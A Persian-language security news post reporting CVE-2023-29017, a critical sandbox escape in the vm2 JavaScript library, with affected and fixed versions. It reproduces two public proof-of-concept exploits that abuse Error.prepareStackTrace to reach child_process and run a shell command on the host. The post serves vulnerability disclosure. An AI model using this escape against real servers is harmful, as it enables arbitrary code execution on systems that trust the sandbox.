Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت

اکسپلویت آسیب پذیری بحرانی در کتابخانه VM2

On فروردین 20, 1402فروردین 28, 1402
seyyid
Share
زمان مطالعه: 2 دقیقه

اکسپلویت PoC، آسیب پذیری به شناسه CVE-2023-29017 و امتیاز 10 و شدت بحرانی در کتابخانه VM2 که اخیرا کشف و گزارش شده بود ، منتشر و در دسترس عموم قرار گرفته .

کتابخانه VM2 یه سندباکس جاوااسکریپت هستش . این سندباکس باعث اجرای کدهای غیرقابل اعتماد در یه محیط ایزوله در سرورهای Node.js میشه. این باعث عدم دسترسی غیر مجاز به منابع سیستم و داده های خارجی میشه.

تقریبا ماهانه 16 میلیون بار از طریق NPM دانلود میشه و در محیط های مختلفی مانند IDEها و ویرایشگرهای کد ، function-as-a-service (FaaS) ، فریمورکهای تست نفوذ ، ابزارهای امنیتی و محصولات مختلف جاوااسکریپت مورد استفاده قرار میگیره.

آسیب پذیری به این دلیل رخ میده که وقتی یه خطای asynchronous رخ میده، این کتابخونه نمیتونه به درستی  host object هایی که به تابع Error.prepareStackTrace ارسال میشن، مدیریت کنه. مهاجم با اکسپلویت این آسیب پذیری میتونه سندباکس دور بزنه و در محیط میزبان کد دلخواه اجرا کنه. آسیب پذیری توسط محققین موسسه علوم و فناوری پیشرفته کره (KAIST) کشف و گزارش شده.

 

 

نسخه های تحت تاثیر:

VM2 from 3.9.14 and older

 

نسخه اصلاح شده:

VM2 3.9.15

 

اکسپلویت PoC این آسیب پذیری:

بعد از انتشار نسخه جدید، Seongil Wi از KAIST دو نسخه اکسپلویت برای این آسیب پذیری منتشر کرده. این اکسپلویتها یه فایل بنام flag رو روی میزبان ایجاد میکنن.

جزییات محیطی که محقق روش تست زده :

 

1
2
vm2 version: 3.9.14 (latest version)
Node version: 18.15.0, 19.8.1, 17.9.1, ...

 

اکسپلویت اول :

 

JavaScript
1
2
3
4
5
6
7
8
9
10
11
const {VM} = require("vm2");
let vmInstance = new VM();
 
const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
(async ()=>{}).constructor('return process')()
`
 
vmInstance.run(code);

 

اکسپلویت دوم:

 

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const {VM} = require("vm2");
let vmInstance = new VM();
 
const code = `
Error.prepareStackTrace = (e, frames) => {
    frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
async function aa(){
    eval("1=1")
}
aa()
`
 
vmInstance.run(code);

 

منبع

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویتIn vm2 , اکسپلویت vm2 , جاوااسکریپت

راهبری نوشته

اصلاح دو آسیب پذیری زیرودی در محصولات اپل
سرقت ماشین با تکنیک CAN injection

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • اخبار
  • تیم آبی
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • مهندسی معکوس نرم افزار
seyyid
On اردیبهشت 21, 1402اردیبهشت 29, 1402

شروع ثبت نام xTraining CTF

  • آنالیز بدافزار
  • اخبار
  • امنیت وب
  • بازیگران تهدید
  • تیم آبی
  • تیم قرمز
seyyid
On اردیبهشت 3, 1402اردیبهشت 4, 1402

آلوده کردن سایتهای وردپرسی با پلاگین Eval PHP

  • اخبار
  • بازیگران تهدید
seyyid
On فروردین 30, 1403فروردین 30, 1403

افزایش حملات سایبری به اسرائیل

  • آسیب پذیری امنیتی
  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
seyyid
On فروردین 15, 1402فروردین 28, 1402

استفاده از آسیب پذیری Zimbra برای هک پورتالهای Webmail کشورهای اروپایی همسو با ناتو

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404